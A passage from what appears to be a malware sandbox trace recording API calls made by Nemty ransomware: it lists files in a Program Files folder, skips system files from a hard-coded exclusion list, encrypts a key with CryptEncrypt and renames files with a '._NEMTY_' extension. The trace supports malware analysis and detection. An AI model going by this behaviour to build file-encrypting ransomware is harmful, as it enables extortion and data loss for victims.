dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.432] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.432] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.432] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.442] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.442] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.442] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.442] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.451] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.451] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.451] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.451] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.460] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.460] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.460] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.461] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.470] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.470] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.470] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.470] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.479] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.479] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.479] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.479] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.489] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.489] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.489] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.489] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.498] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.498] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.498] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.498] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.507] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.507] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.513] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.513] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.513] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.513] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.519] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.519] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.519] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.520] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0086.520] CloseHandle (hObject=0xffffffff) returned 0 [0086.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0086.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0086.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0086.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0086.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0086.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0086.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0086.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0086.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0086.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0086.520] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\mainscroll.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\mainscroll.png._nemty_kgobjgd_")) returned 0 [0086.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0086.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0086.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0086.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0086.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0086.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0086.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0086.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0086.520] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5e9dee, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5e9dee, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0086.520] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2=".") returned 1 [0086.520] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="..") returned 1 [0086.520] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="...") returned 1 [0086.520] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="windows") returned -1 [0086.521] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0086.521] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="rsa") returned -1 [0086.521] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0086.521] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntldr") returned -1 [0086.521] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0086.521] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0086.521] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0086.521] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0086.521] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0086.521] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0086.521] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0086.521] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0086.521] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0086.521] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0086.521] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0086.521] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="programdata") returned -1 [0086.521] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="appdata") returned 1 [0086.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0086.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0086.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0086.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0086.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0086.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340048 [0086.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0086.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0086.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0086.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0086.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0086.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0086.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0086.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0086.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0086.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0086.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0086.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0086.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0086.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0086.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345640, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0086.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0086.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0086.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0086.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94358 [0086.522] Sleep (dwMilliseconds=0x5) [0086.531] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe7392fd0, dwHighDateTime=0x1d561e7)) [0086.531] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe7392fd0, dwHighDateTime=0x1d561e7)) [0086.531] GetLastError () returned 0x5 [0086.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0086.531] GetLastError () returned 0x5 [0086.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0086.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0086.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0086.531] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0086.531] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0086.532] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0086.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340110 [0086.532] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340110, pcchString=0x653e91c | out: pszString="Ksf5pE8/YWTOsN5Yf8GrwNZaYsgZ6wPPBR5TcZHf9HFgfSBBaWJwvTSA3Yyvdq8r\r\nHtNUcwuJc7e8KG7iRsb9C0VwmSqTrdzX7MCMzccvZ5X1fH53VEAwICfmHHUFMi0i\r\nG7VEePJ2rL2srC+c9AQpdwzB9jOyfN0iT0SQcn+EZSinCOMR3rUsL3Sosxj0QnKA\r\nNLrbuwaQOH4yIs8PxrSVgL/TbKZ5n8QAOrotX0li+TiKLqwOczlEUJ3Fy92l/QC3\r\nfMfPsNsHdzVIeLADyAvjclHXfEB2RQVM8sSkguuE9FBJBKgrmMoB2ZW4XxjEWriL\r\nualyQEHLt9MM6HIoxoEiqw==\r\n", pcchString=0x653e91c) returned 1 [0086.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0086.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0086.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0086.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f94420 [0086.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340110 [0086.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0086.532] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.532] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0086.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0086.532] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.532] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.542] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.542] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.542] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.542] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.551] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.551] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.551] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.551] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.561] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.561] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.561] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.561] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.570] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.570] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.570] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.570] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, 